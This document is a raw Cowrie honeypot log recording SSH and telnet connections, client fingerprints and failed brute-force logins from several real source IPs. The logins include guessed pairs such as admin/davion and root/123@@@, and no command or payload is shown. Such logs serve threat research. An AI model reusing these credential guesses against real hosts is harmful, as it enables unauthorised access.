{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58902,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f6541d4c33","protocol":"ssh","message":"New connection: 47.86.95.62:58902 (10.17.0.5:22) [session: 68f6541d4c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:22.400103Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":12614,"dst_ip":"10.17.0.5","dst_port":22,"session":"f085aff128c3","protocol":"ssh","message":"New connection: 2.57.121.112:12614 (10.17.0.5:22) [session: f085aff128c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:25.624860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:25.631846Z","src_ip":"2.57.121.112","session":"f085aff128c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:25.733512Z","src_ip":"2.57.121.112","session":"f085aff128c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Ddddddd1","message":"login attempt [admin/Ddddddd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:26.213773Z","src_ip":"2.57.121.112","session":"f085aff128c3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:26.902242Z","src_ip":"47.86.95.62","session":"68f6541d4c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:26.912580Z","src_ip":"47.86.95.62","session":"68f6541d4c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"davion","message":"login attempt [admin/davion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:27.318454Z","src_ip":"2.57.121.112","session":"f085aff128c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"davidlee","message":"login attempt [admin/davidlee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:28.436092Z","src_ip":"2.57.121.112","session":"f085aff128c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"daveyboy","message":"login attempt [admin/daveyboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:29.541794Z","src_ip":"2.57.121.112","session":"f085aff128c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"davex","message":"login attempt [admin/davex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:30.653977Z","src_ip":"2.57.121.112","session":"f085aff128c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:31.759360Z","src_ip":"2.57.121.112","session":"f085aff128c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:34.232069Z","src_ip":"47.86.95.62","session":"68f6541d4c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:36.214028Z","src_ip":"47.86.95.62","session":"68f6541d4c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42302,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5dc9bada05e","protocol":"ssh","message":"New connection: 47.86.95.62:42302 (10.17.0.5:22) [session: e5dc9bada05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:46.714712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:46.718628Z","src_ip":"47.86.95.62","session":"e5dc9bada05e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:46.925894Z","src_ip":"47.86.95.62","session":"e5dc9bada05e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:47.548758Z","src_ip":"47.86.95.62","session":"e5dc9bada05e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:48.761518Z","src_ip":"47.86.95.62","session":"e5dc9bada05e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40232,"dst_ip":"10.17.0.5","dst_port":22,"session":"74d0ca0dc834","protocol":"ssh","message":"New connection: 47.86.95.62:40232 (10.17.0.5:22) [session: 74d0ca0dc834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:51.602508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:51.608541Z","src_ip":"47.86.95.62","session":"74d0ca0dc834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:51.817556Z","src_ip":"47.86.95.62","session":"74d0ca0dc834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:52.443966Z","src_ip":"47.86.95.62","session":"74d0ca0dc834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":44494,"dst_ip":"159.203.135.109","dst_port":23,"session":"567a05c24406","protocol":"telnet","message":"New connection: 187.222.242.146:44494 (159.203.135.109:23) [session: 567a05c24406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:02.153054Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":44828,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6494132595b","protocol":"telnet","message":"New connection: 187.222.242.146:44828 (159.203.135.109:23) [session: d6494132595b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:03.566696Z"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:05.855395Z","src_ip":"47.86.95.62","session":"74d0ca0dc834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37730,"dst_ip":"159.203.135.109","dst_port":22,"session":"1df4d534aa56","protocol":"ssh","message":"New connection: 2.57.122.238:37730 (159.203.135.109:22) [session: 1df4d534aa56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:25.666320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:25.671004Z","src_ip":"2.57.122.238","session":"1df4d534aa56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:25.780102Z","src_ip":"2.57.122.238","session":"1df4d534aa56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:26.096924Z","src_ip":"2.57.122.238","session":"1df4d534aa56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:27.205561Z","src_ip":"2.57.122.238","session":"1df4d534aa56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53208,"dst_ip":"10.17.0.5","dst_port":22,"session":"332e111005a2","protocol":"ssh","message":"New connection: 47.86.95.62:53208 (10.17.0.5:22) [session: 332e111005a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:29.048101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:29.051982Z","src_ip":"47.86.95.62","session":"332e111005a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:29.265351Z","src_ip":"47.86.95.62","session":"332e111005a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:30.146917Z","src_ip":"47.86.95.62","session":"332e111005a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:31.354268Z","src_ip":"47.86.95.62","session":"332e111005a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33760,"dst_ip":"10.17.0.5","dst_port":22,"session":"837a94ee78c6","protocol":"ssh","message":"New connection: 47.86.95.62:33760 (10.17.0.5:22) [session: 837a94ee78c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:34.344515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:34.348314Z","src_ip":"47.86.95.62","session":"837a94ee78c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:34.617872Z","src_ip":"47.86.95.62","session":"837a94ee78c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:35.233779Z","src_ip":"47.86.95.62","session":"837a94ee78c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:36.441019Z","src_ip":"47.86.95.62","session":"837a94ee78c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12300,"dst_ip":"10.17.0.5","dst_port":22,"session":"017c43a9cdf2","protocol":"ssh","message":"New connection: 2.57.121.25:12300 (10.17.0.5:22) [session: 017c43a9cdf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:53.951010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:53.956513Z","src_ip":"2.57.121.25","session":"017c43a9cdf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:54.060307Z","src_ip":"2.57.121.25","session":"017c43a9cdf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"drjynfrnt","message":"login attempt [user/drjynfrnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:54.547198Z","src_ip":"2.57.121.25","session":"017c43a9cdf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"drevil","message":"login attempt [user/drevil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:55.656552Z","src_ip":"2.57.121.25","session":"017c43a9cdf2","protocol":"ssh"}
